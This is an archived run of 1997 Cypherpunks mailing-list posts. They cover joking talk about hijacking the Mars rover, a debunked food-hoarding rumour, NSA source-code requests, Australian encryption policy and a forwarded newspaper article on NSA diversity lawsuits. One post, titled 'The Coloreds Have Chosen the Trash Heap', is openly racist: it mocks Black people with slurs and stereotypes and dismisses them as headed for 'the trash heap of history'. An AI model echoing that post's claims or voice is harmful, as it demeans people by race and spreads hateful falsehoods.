idiotic thing to do. Of course so would be damaging the rover. But a 
little cruise... :-)

-- Lucky Green  PGP encrypted mail preferred

On Mon, 7 Jul 1997, Ryan Anderson wrote:

> On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> 
> > The appropriate question is how much encryption (and other security) is
> > needed if interrupting the traffic causes the loss of a great deal of
> > money and difficult (if possible at all) fixes.  This is the mindset of
> > the Fed security wienies when specifying and designing; thus it must be
> > the mindset of the non-Fed Wienie looking to crack.
> 
> Well, if it matters any, my initial impression was that this discussion
> was based upon taking over the rover, not necessarily upon just performing
> a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> taking it over, on the other hand could be fun..
> 
> -----------------------------------------------------------------------
> Ryan Anderson -      "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 






From alano at teleport.com  Mon Jul  7 13:15:50 1997
From: alano at teleport.com (Alan)
Date: Tue, 8 Jul 1997 04:15:50 +0800
Subject: Hoarding
In-Reply-To: 
Message-ID: 



On Mon, 7 Jul 1997, Steve Schear wrote:

> I heard yesterday, second hand, that hoarding of large amounts of food is
> now a federal crime.  The explanation I heard was that it was intended to
> thwart militias.  Has anyone else on the list heard this loony info?

I have not heard of such a thing.  If it did become law, you can bet you
would hear alot of screams from the Mormon church over it.  (Members are
encouraged to keep n-years worth of supplies in case of emergencies.)

alano at teleport.com | "Those who are without history are doomed to retype it."






From rah at shipwright.com  Mon Jul  7 13:20:12 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 8 Jul 1997 04:20:12 +0800
Subject: Hoarding
In-Reply-To: 
Message-ID: 



At 3:48 pm -0400 on 7/7/97, Steve Schear wrote:


> I heard yesterday, second hand, that hoarding of large amounts of food is
> now a federal crime.  The explanation I heard was that it was intended to
> thwart militias.  Has anyone else on the list heard this loony info?

Nope, but if it's true, they'll have the entire Mormon denomination down
their throats.

Hey, has anyone noticed that the water temperature keeps going up? Ribbit.
Ribbit.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From alano at teleport.com  Mon Jul  7 13:41:29 1997
From: alano at teleport.com (Alan)
Date: Tue, 8 Jul 1997 04:41:29 +0800
Subject: Hack the Mars rover
In-Reply-To: 
Message-ID: 



On Mon, 7 Jul 1997, Lucky Green wrote:

> Yes, the idea was to take over the rover. A DoS would be an extremely 
> idiotic thing to do. Of course so would be damaging the rover. But a 
> little cruise... :-)

Or someone could just replace the signal with one of their own.  Having
Elvis drive up in a '57 Chevy on the Martian landscape would be a cute
hack. ]:>

alano at teleport.com | "Those who are without history are doomed to retype it."






From alano at teleport.com  Mon Jul  7 13:44:03 1997
From: alano at teleport.com (Alan)
Date: Tue, 8 Jul 1997 04:44:03 +0800
Subject: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: 
Message-ID: 



On Mon, 7 Jul 1997, Ray Arachelian wrote:

> On Mon, 7 Jul 1997, Ulf [iso-8859-1] M�ller wrote:
> 
> > Why should the US government get access to the source code of foreign
> > product being imported to the US?
> 
> Because they are scum who don't care about the property rights of
> corporations.  I wonder what would happen if Sun would instead say "Fuck
> you no way" or whether they were threatened into giving it up?

After what happened to Inslaw, you would think Sun would know better than
to give it to them.

alano at teleport.com | "Those who are without history are doomed to retype it."






From tcmay at got.net  Mon Jul  7 13:46:55 1997
From: tcmay at got.net (Tim May)
Date: Tue, 8 Jul 1997 04:46:55 +0800
Subject: Hoarding
In-Reply-To: 
Message-ID: 



At 12:48 PM -0700 7/7/97, Steve Schear wrote:
>I heard yesterday, second hand, that hoarding of large amounts of food is
>now a federal crime.  The explanation I heard was that it was intended to
>thwart militias.  Has anyone else on the list heard this loony info?
>

This rumor floats through alt.survival and misc.survival about once every
few weeks. Usually someone claims they "heard" this, but no one can produce
a cite for an actual law.

(Eventually someone steps forward and mentions the various Economic
Emergency Powers Act provisions, and this feeds the rumors further...in a
few weeks, when someone else announces they've "heard" this.)

The Mormons and other religious groups are well known to stockpile large
amounts of food. I recall that good Mormons are supposed to have on the
order of  a year's supply of food.

The effect on militia activities is nil, and even a law which made felons
of most Mormons and prepared folks would have no effect on militias.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From gnu at toad.com  Mon Jul  7 13:51:12 1997
From: gnu at toad.com (John Gilmore)
Date: Tue, 8 Jul 1997 04:51:12 +0800
Subject: Australian encryption policy report released!
Message-ID: <199707072033.NAA28013@toad.com>



Electronic Frontiers Australia has succeeded in obtaining the "Walsh
report", with a few paragraphs excised.

It's available at http://www.efa.org.au/Issues/Crypto/Walsh/.

It is a broad technology and policy review like the US National
Research Council's, though it's more succinct (only a hundred pages
long) and done by a single person, on contract to the Australian
Government.  I recommend reading it.  Here's a sample:

"The review encountered significant scepticism about mandated key
escrow or TTP systems.  The national sovereignty of the agencies
providing these services could not be guaranteed, with consequent
implications for the national interest.  There is the strong
likelihood that these agencies would become the major targets of
foreign intelligence services."

	John






From paulmerrill at acm.org  Mon Jul  7 14:04:03 1997
From: paulmerrill at acm.org (Paul H. Merrill)
Date: Tue, 8 Jul 1997 05:04:03 +0800
Subject: Hack the Mars rover
In-Reply-To: 
Message-ID: <33C1806F.1C7B@acm.org>



Lucky Green wrote:
> 
> Yes, the idea was to take over the rover. A DoS would be an extremely
> idiotic thing to do. Of course so would be damaging the rover. But a
> little cruise... :-)
> 
> -- Lucky Green  PGP encrypted mail preferred

I hate to be the one to tell you this, but taking someone's toy away --
even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
Blast to go joyriding.

PHM
> 
> On Mon, 7 Jul 1997, Ryan Anderson wrote:
> 
> > On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> >
> > > The appropriate question is how much encryption (and other security) is
> > > needed if interrupting the traffic causes the loss of a great deal of
> > > money and difficult (if possible at all) fixes.  This is the mindset of
> > > the Fed security wienies when specifying and designing; thus it must be
> > > the mindset of the non-Fed Wienie looking to crack.
> >
> > Well, if it matters any, my initial impression was that this discussion
> > was based upon taking over the rover, not necessarily upon just performing
> > a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> > taking it over, on the other hand could be fun..
> >
> > -----------------------------------------------------------------------
> > Ryan Anderson -      "Who knows, even the horse might sing"
> > Wayne State University - CULMA   "May you live in interesting times.."
> > randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA
> > PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> > -----------------------------------------------------------------------
> >
> >

-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill at acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.






From randerso at ece.eng.wayne.edu  Mon Jul  7 14:09:58 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Tue, 8 Jul 1997 05:09:58 +0800
Subject: Hack the Mars rover
In-Reply-To: <33C1806F.1C7B@acm.org>
Message-ID: 



On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> I hate to be the one to tell you this, but taking someone's toy away --
> even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
> Blast to go joyriding.

Yeah, it's still DoS, but it's not quite the same as just taking the toy
away from everyone..

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From die at pig.die.com  Mon Jul  7 14:31:53 1997
From: die at pig.die.com (Dave Emery)
Date: Tue, 8 Jul 1997 05:31:53 +0800
Subject: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707072104.RAA31665@pig.die.com>



----- Forwarded message from MHollis628 at aol.com -----

Note: the following appeared in the Balto Sun ...

------------------------------------------------------------------------

NSA's quest for diversity called threat 
Employees say personnel practices weaken security; Agency is reducing staff;
Complaints, lawsuits illuminate friction based on race, sex 
------------------------------------------------------------------------


By Scott Wilson 

SUN STAFF

The National Security Agency, whose size, secrecy and mission were spawned by
the Cold War, is in the midst of personnel changes that current and former
employees warn are a threat to national security.

In interviews and in federal lawsuits, NSA workers say some of the agency's
most senior personnel are being forced out as the nation's biggest
intelligence agency attempts simultaneously to reduce and diversify its
staff.

An uneasy atmosphere, some say, has fostered strife over promotions and job
security at the elite electronic-eavesdropping agency.

As a result, some question whether national security is being imperiled by
inexperienced employees being promoted to sensitive jobs to meet hiring
quotas.

At least a dozen lawsuits filed recently illuminate the racial and gender
friction within the agency.

Former employees call senior leadership the "Irish Mafia" and the Office of
Discrimination Complaints and Counseling "a party organization for blacks."

White men, white women, black women and black men have all claimed that
secretive and subjective personnel rules have violated their civil rights.

Jane S. Harris, a black NSA employee who failed to get a promotion, stated in
a discrimination suit filed against the agency last year that personnel
officials blame minorities for racial tension.

"It is a white majority problem," she said. "And the effects are felt by
people of color."

In recent months, three such suits have been dismissed as groundless.

A Glen Burnie lawyer says he has received more than 20 requests since April
from NSA employees considering legal action.

The lawyer, Emile J. Henault Jr., a former 27-year NSA employee, said,
"Suddenly it's become overwhelming."

He said there is a consideration beyond morale and that he questions whether
the agency can

remain competitive.

"They've lost their technological edge," Henault said. "I don't think they
can survive when other agencies [at the Pentagon] are doing their job better.
I never thought anyone would be able to do it better."

The main concern, though, is whether, in its push to diversify its work
force, the agency is leaving sensitive national security tasks in the hands
of untrained workers. One former NSA veteran offered as evidence a recent
travel report.

Such reports, which are required of NSA employees after business trips, are
unclassified, available on request to anyone outside the agency. The report
in question, filed by an inexperienced agent, detailed a trip to a city in
Colombia that revealed classified details of the Drug Enforcement Agency's
operation, down to the location of offices, names and secret technological
information.

Such slips are not the only national security risk, NSA veterans say. This
year, the agency's personnel office, prompted by a growing number of
incidents, warned employees against using the Internet to access adult "news"
groups and other pornographic sites.

Doing so not only violates NSA work rules but is considered a risk because
foreign agents could try to blackmail employees discovered with explicit or
illegal pornography.

Domain of white males

Shielded by national security concerns during the Cold War, the NSA was among
the least diverse agencies in the federal government for decades -- fewer
than one in 10 employees was a member of a minority. It was, by and large,
the domain of highly trained white men.

That ended with a 1994 investigation by the Defense Department inspector
general that found "the NSA had not identified systemic problems and barriers
faced by women and minorities in recruitment, hiring, promotion or career
development."

Congress demanded action, and the next year the NSA completed its first plan
to recruit minorities.

At the same time, Congress asked the agency, Maryland's largest employer, to
shrink the 20,000-member work force it had built up during the Cold War. And
a commission run by former Defense Secretary Harold Brown stressed the need
for a younger work force last year.

Reduction of 2,000 jobs

By conservative estimates, the agency has pared 2,200 jobs in the past two
years through attrition and early retirement. Of the 1,178 employees who left
last year, almost 70 percent were white men.

"They are having a problem modernizing their work force," said a
congressional staff member familiar with intelligence issues, who requested
anonymity.

"Using the bully pulpit to get them to change is one thing. But we may give
them extraordinary powers [such as early-retirement incentives] to reach
their goals. The health of the agency depends on it having a large influx of
talented young people. It is a substantial concern."

Lt. Gen. Kenneth A. Minihan, named NSA director last year, described "the
painful process of change" before the House Select Committee on Intelligence
in September.

"We are moving beyond diversity solely as a demographic exercise focused
exclusively on race and gender," he said. "The message is this: Diversity
encompasses and benefits every employee at NSA, and making diversity work is
part of each of our jobs."

It hasn't been easy making the NSA "look like America," Minihan told
Congress. The NSA wanted one of every three new employees to be a minority.

Nevertheless, of 425 people hired during the fiscal year that ended Sept. 30,
20.5 percent were minorities and 23.8 percent were white women, between 10
and 13 percentage points short of the hiring goal. That left a work force
with a slightly increased proportion of minorities -- from 11.3 percent in
1993 to 12.7 percent three years later.

A new bureaucracy

The push to diversify, though, has spawned a whole new bureaucracy within an
agency already dubbed "the Puzzle Palace."

The personnel office now uses a "Diversity Model" computer program. The
Office of Small and Disadvantaged Business Utilization charts agency minority
contracting. A Systemic Barriers Process Action Team was created to identify
problems with minority promotion.

In addition, an agency once so secret that its employees were forbidden to
tell friends where they worked now sponsors programs for Women's Equality Day
and Hispanic Heritage Month that feature speakers from outside the agency.

A new class is available to employees called "Selection Board and Cultural
Diversity Training Course." This summer, the agency will hold its first I Am
an American Day.

Nonetheless, annual employee complaints filed with the federal Equal
Employment Opportunity Commission have doubled. In 1990, 17 employees filed
claims with the watchdog agency. In 1995, the number was 45, and in nine
months so far this fiscal year, 33 workers have filed.

The complaints continue even as the NSA has changed its promotion policy.

Now women and minority candidates receive at least one round of extra
consideration for promotion, which means a minority woman receives three
chances to advance to a white man's one.

And that has its own problems. In February 1993, William J. Sonntag, an NSA
employee, was up for promotion to deputy division chief. He did not get it.
All three slots went to women. In May 1995, he filed suit in U.S. District
Court in Baltimore.

"I was denied consideration of a management position on the sole basis that
white males were not being considered for three such jobs in my office,"
Sonntag states in his lawsuit.

But Sonntag, of Ellicott City, lost his case last year. "It is fair to say
that the entire thrust of [the] plaintiff's position is that [it] prohibits
affirmative action," wrote Judge Frederic N. Smalkin in his ruling.

Sonntag, now appealing the judge's ruling, and other NSA employees allege
that the agency uses an aggressive brand of affirmative action to deny
promotions and even to fire employees.

Henault calls the personnel office, which works with NSA's medical staff and
counseling office, a "paramilitary group." He said the agency uses
information from confidential employee-counseling sessions to revoke security
clearances -- and, with them, jobs.

A weekend drunken-driving arrest, which used to prompt counseling sessions,
now frequently results in the loss of a security pass and dismissal, he said.

"When you say `national security,' everybody just wilts," Henault said.
"Everybody hides under it."

Sonntag alleged in his suit that the NSA "deleted crucial data on my
qualifications from my personnel file," which the agency denied. A former NSA
employee said he was told to leave the agency after almost three decades or
medical benefits to his wife, who suffers from a chronic illness, would be
cut off.

Attempt to embarrass

In another case, a female employee, who filed her suit under the name "Jane
Doe" fearing retribution, claims NSA released her confidential personnel
files to embarrass her in an outside court case. The agency defends the
release as legal.

"That is why the morale is so low within the intelligence community," said
Mark Zaid, a Washington lawyer who represents Jane Doe. "They make a mistake,
and they refuse to accept responsibility. They go out of their way to avoid
it."

Other suits accuse NSA psychologists of producing false medical evaluations
to justify the revocation of security clearances, which are required for
agency work. The federal civil service offers legal job protections, but a
security clearance is not a right and can be pulled at a supervisor's
discretion.

In 1988, the U.S. Supreme Court ruled that a security clearance can be
revoked subjectively and that no right exists to appeal the decision.

In response to questions from The Sun about personnel policy, the NSA public
affairs office issued a statement that: "Far from diversity diverting our
focus from national security issues, it strengthens us as an agency. It is
the law of the land, it is Congressionally mandated and it is the right thing
to do."


------------------------------------------------------------------------
Originally Published on 7/06/97 
----
This is the milcom mailing list. Milcom is devoted to military
communications monitoring in the HF/VHF/UHF radio spectrum and beyond.
To post to the list, send an email to :     milcom at grove.net
To unsubscribe the list, send an email to:  majordomo at grove.net
with only "unsubscribe milcom" in the BODY of the email.
----

----- End of forwarded message from MHollis628 at aol.com -----






From cme at cybercash.com  Mon Jul  7 14:51:40 1997
From: cme at cybercash.com (Carl Ellison)
Date: Tue, 8 Jul 1997 05:51:40 +0800
Subject: Key Recovery Policy in Japan
In-Reply-To: <199707050110.KAA14212@eccosys.com>
Message-ID: <3.0.2.32.19970707172334.00b56150@cybercash.com>



-----BEGIN PGP SIGNED MESSAGE-----

Is the NRC report online?


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM8FeSVQXJENzYr45AQEOYwP/b/DpI6+QBk/DzTIEUcgZBkYsq5qjNmIY
M73obu2C83dAY5fuHRZ4ciDXXVhC7O5ykzxd1LxUTtyoBjxr8+AjaIVk/F0mSiea
Eb4vko4OtDABVxCnMMHXRryjkjUZXjPsrnZTErPNfhP16AF/LRHMDZwdY28a2oYu
++O3wFImJR4=
=hZ0W
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison       cme at acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+






From alano at teleport.com  Mon Jul  7 15:06:59 1997
From: alano at teleport.com (Alan)
Date: Tue, 8 Jul 1997 06:06:59 +0800
Subject: Hoarding
In-Reply-To: 
Message-ID: 



On Mon, 7 Jul 1997, Tim May wrote:

> The Mormons and other religious groups are well known to stockpile large
> amounts of food. I recall that good Mormons are supposed to have on the
> order of  a year's supply of food.
> 
> The effect on militia activities is nil, and even a law which made felons
> of most Mormons and prepared folks would have no effect on militias.

It would have a profound effect on government as a high percentage of
government workers are Mormons.  (Especially amongst agencies like the
IRS.)  There are some interesting reasons as to why this is the case.  It
has to do with the great efforts the Mormon church has gone to to be
accepted by the "authorities".  

But that is a discussion best suited to alt.religion.mormon.recovery...

alano at teleport.com | "Those who are without history are doomed to retype it."






From alano at teleport.com  Mon Jul  7 15:17:38 1997
From: alano at teleport.com (Alan)
Date: Tue, 8 Jul 1997 06:17:38 +0800
Subject: Australian encryption policy report released!
In-Reply-To: <199707072033.NAA28013@toad.com>
Message-ID: 



On Mon, 7 Jul 1997, John Gilmore wrote:

> Electronic Frontiers Australia has succeeded in obtaining the "Walsh
> report", with a few paragraphs excised.

Does anyone know what parts were excluded?

alano at teleport.com | "Those who are without history are doomed to retype it."






From nobody at toad.com  Mon Jul  7 15:26:07 1997
From: nobody at toad.com (Mismatched NFS IDs)
Date: Tue, 8 Jul 1997 06:26:07 +0800
Subject: Hoarding
In-Reply-To: 
Message-ID: <97Jul7.180905edt.32257@brickwall.ceddec.com>



On Mon, 7 Jul 1997, Robert Hettinga wrote:

> > I heard yesterday, second hand, that hoarding of large amounts of food is
> > now a federal crime.  The explanation I heard was that it was intended to
> > thwart militias.  Has anyone else on the list heard this loony info?
> 
> Nope, but if it's true, they'll have the entire Mormon denomination down
> their throats.
> 
> Hey, has anyone noticed that the water temperature keeps going up? Ribbit.
> Ribbit.

Or has anyone noticed that only libetrarians are getting steamed?

--- reply to tzeruch - at - ceddec - dot - com ---






From shamrock at netcom.com  Mon Jul  7 16:38:06 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 8 Jul 1997 07:38:06 +0800
Subject: Hack the Mars rover
In-Reply-To: <33C1806F.1C7B@acm.org>
Message-ID: 



Just to clear up any confusion: I don't advocate interfering with the 
Mars probe in any way. As always, my interest in purely academic.


-- Lucky Green  PGP encrypted mail preferred

On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> Lucky Green wrote:
> > 
> > Yes, the idea was to take over the rover. A DoS would be an extremely
> > idiotic thing to do. Of course so would be damaging the rover. But a
> > little cruise... :-)
> > 
> > -- Lucky Green  PGP encrypted mail preferred
> 
> I hate to be the one to tell you this, but taking someone's toy away --
> even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
> Blast to go joyriding.
> 
> PHM
> > 
> > On Mon, 7 Jul 1997, Ryan Anderson wrote:
> > 
> > > On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> > >
> > > > The appropriate question is how much encryption (and other security) is
> > > > needed if interrupting the traffic causes the loss of a great deal of
> > > > money and difficult (if possible at all) fixes.  This is the mindset of
> > > > the Fed security wienies when specifying and designing; thus it must be
> > > > the mindset of the non-Fed Wienie looking to crack.
> > >
> > > Well, if it matters any, my initial impression was that this discussion
> > > was based upon taking over the rover, not necessarily upon just performing
> > > a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> > > taking it over, on the other hand could be fun..
> > >
> > > -----------------------------------------------------------------------
> > > Ryan Anderson -      "Who knows, even the horse might sing"
> > > Wayne State University - CULMA   "May you live in interesting times.."
> > > randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA
> > > PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> > > -----------------------------------------------------------------------
> > >
> > >
> 
> -- 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Paul H. Merrill                Merlyn Enterprises
> paulmerrill at acm.org
> I have no opinions (just facts)
>     so it doesn't matter what my employer thinks.
> 






From dlv at bwalk.dm.com  Mon Jul  7 16:39:17 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:39:17 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199707071515.RAA19807@basement.replay.com>
Message-ID: <2seH0D1w165w@bwalk.dm.com>



nobody at REPLAY.COM (Anonymous) writes:

> On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Mike  writes:
> > > You mean that it would be fine for foreigners to copy and sell the CD, bu
> > > not to put it on the net? Well, copyright law being what it is, makes thi
> > > a bit tricky. An ftp administrator have never been sentenced for copyrigh
> > > violation (please correct me if I'm wrong),
> >
> > An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive
> > He got arrested and charged with something irrelevant (wire fraud??).
> 
> The case against him was lost.

I was studying up on his case just the other day and wasn't sure
if it was all over.  The DA fucked up by charging him with something
totally irrelevant and not copyright violations.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Jul  7 16:41:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:41:18 +0800
Subject: [STEGO] RSA
In-Reply-To: <19970707091103.21159@bywater.songbird.com>
Message-ID: <6weH0D2w165w@bwalk.dm.com>



Kent Crispin  writes:

> On Mon, Jul 07, 1997 at 10:39:04AM -0400, Robert Hettinga wrote:
> > I think I figured something out.
> > 
> > Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
> > list, we get bot noise. The bot's listening for Tim.
> > 
> It should be clear by now that Tim actually runs the bot.

And blames me for it.  How sneaky!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Jul  7 16:41:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:41:29 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: 
Message-ID: <24eH0D4w165w@bwalk.dm.com>



Tim May  writes:
> and I had been (vaguely) ascribing this quiescence to the problems Vulis
> has said he is having with his normal computer.

Tim, I'm not having any "problems" with bwalk (the only computer with the
modem - others are in no way connected to the internet for security reasons)
I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
before I add NT 4.0.
I think it's sort of a change for the better.  (I still have W95, Linux,
and OS/2 on other boxes.)
(Oh and by the way I got the CD writer - thanks again to everyone who gave
feedback regarding the backup systems)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tcmay at got.net  Mon Jul  7 18:20:00 1997
From: tcmay at got.net (Tim May)
Date: Tue, 8 Jul 1997 09:20:00 +0800
Subject: The Coloreds Have Chosen the Trash Heap
In-Reply-To: <199707072104.RAA31665@pig.die.com>
Message-ID: 



At 2:04 PM -0700 7/7/97, Dave Emery wrote:

>By Scott Wilson
>
>SUN STAFF
>
>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>In interviews and in federal lawsuits, NSA workers say some of the agency's
>most senior personnel are being forced out as the nation's biggest
>intelligence agency attempts simultaneously to reduce and diversify its
>staff.
...
>"It is a white majority problem," she said. "And the effects are felt by
>people of color."

If the coloreds want to work in science and math, how come enrollments in
science, math, and engineering are at 30-year lows for coloreds?

>Now women and minority candidates receive at least one round of extra
>consideration for promotion, which means a minority woman receives three
>chances to advance to a white man's one.

Quotas and special scoring provisions. "We add 400 points to their combined
SAT scores, to bring the coloreds up to the levels scored by the average
whitemale person of privilege." (The unthinkable alternate interpretation
being that 10 years of playing street corner basketball while the honkeys
were reading Heinlein and Feynman may have had something to do with their
current illiteracy.)

At least this is somewhat encouraging: those trying to tap our phones will
be quota employees. Some pregnant, crippled, blind, colored chick will be
filling the NSA's quota for hiring "minority" persons.

UC Berkeley, as a list member here knows quite well, has effectively had to
treat Asians as "honorary white people," for the purposes of setting
quotas. Something that is now ending, thankfully. The colored race is
headed for the trash heap of history, courtesy of their own choices.

Fuck 'em.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From wcreply at ctia.org  Mon Jul  7 18:34:56 1997
From: wcreply at ctia.org (wcreply at ctia.org)
Date: Tue, 8 Jul 1997 09:34:56 +0800
Subject: WOW-COM(TM) News Update
Message-ID: <199707080118.VAA05428@intraactive.com>



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From shamrock at netcom.com  Mon Jul  7 19:12:43 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 8 Jul 1997 10:12:43 +0800
Subject: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: 
Message-ID: 



For whatever reason, the original post never made it here. Would somebody 
please email the cite for this NSA request?

Thanks,
-- Lucky Green  PGP encrypted mail preferred

On Mon, 7 Jul 1997, Tim May wrote:

> At 9:18 AM -0700 7/7/97, Ulf M�ller wrote:
> >> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
> >> the Russian networking company in which Sun has a 10 percent stake, to
> >> turn over the source code of its SunScreen SKIP E+.






From declan at pathfinder.com  Mon Jul  7 19:36:51 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Tue, 8 Jul 1997 10:36:51 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <2seH0D1w165w@bwalk.dm.com>
Message-ID: 



I revisited the LaMacchia case in an article recently:
    
  http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

-Declan


On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> nobody at REPLAY.COM (Anonymous) writes:
> 
> > On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> > 
> > > Mike  writes:
> > > > You mean that it would be fine for foreigners to copy and sell the CD, bu
> > > > not to put it on the net? Well, copyright law being what it is, makes thi
> > > > a bit tricky. An ftp administrator have never been sentenced for copyrigh
> > > > violation (please correct me if I'm wrong),
> > >
> > > An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive
> > > He got arrested and charged with something irrelevant (wire fraud??).
> > 
> > The case against him was lost.
> 
> I was studying up on his case just the other day and wasn't sure
> if it was all over.  The DA fucked up by charging him with something
> totally irrelevant and not copyright violations.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 






From hallam at ai.mit.edu  Mon Jul  7 19:38:18 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Tue, 8 Jul 1997 10:38:18 +0800
Subject: Fw: Hack the Mars rover
Message-ID: <199707080220.WAA26595@life.ai.mit.edu>

Probably a very bad plan unless you like prison food...

Like the downside if you get caught is likely to be non-trivial.
Imagine an outcry above the Mitinic level and bellow the McVeigh
level...

On the other hand I would not be too sure about the level of security
being exceptional. I know that the NSA was not involved in giving
security advice on Federal Web server setup until very recently (after
the CIA raid).

I suspect that the result of Lucky's mail is thart some poor guy is now
going to have to sit up nursing a comms link watching for attempts to
penetrate. Mentioning possible security holes in specific installations
in public is not really fair. I know of one well known security
consultant who claimed to have reported a security weakness at a
particular site. Caused a massive panic. When the alledged report could
not be found you can guess what happened to the guys chances of getting
any business...


Phill
 ----
From: Ryan Anderson 
Newsgroups: ailab.cypherpunks
Date: Monday, July 07, 1997 5:47 PM
Subject: Re: Hack the Mars rover

>On Mon, 7 Jul 1997, Paul H. Merrill wrote:
>
>> I hate to be the one to tell you this, but taking someone's toy away
--
>> even just for awhile -- IS Denial of Service.  And, yes, 'twould be
a
>> Blast to go joyriding.
>
>Yeah, it's still DoS, but it's not quite the same as just taking the
toy
>away from everyone..
>
>-----------------------------------------------------------------------

>Ryan Anderson -      "Who knows, even the horse might
sing"
>Wayne State University - CULMA   "May you live in interesting
times.."
>randerso at ece.eng.wayne.edu                        Ohio = VYI of the
USA
>PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
>-----------------------------------------------------------------------

>
> 

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From rm at dev.null  Mon Jul  7 19:42:33 1997
From: rm at dev.null (Rodney Mongerfield)
Date: Tue, 8 Jul 1997 10:42:33 +0800
Subject: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707080214.UAA15950@wombat.sk.sympatico.ca>



> In interviews and in federal lawsuits, NSA workers say some of the agency's
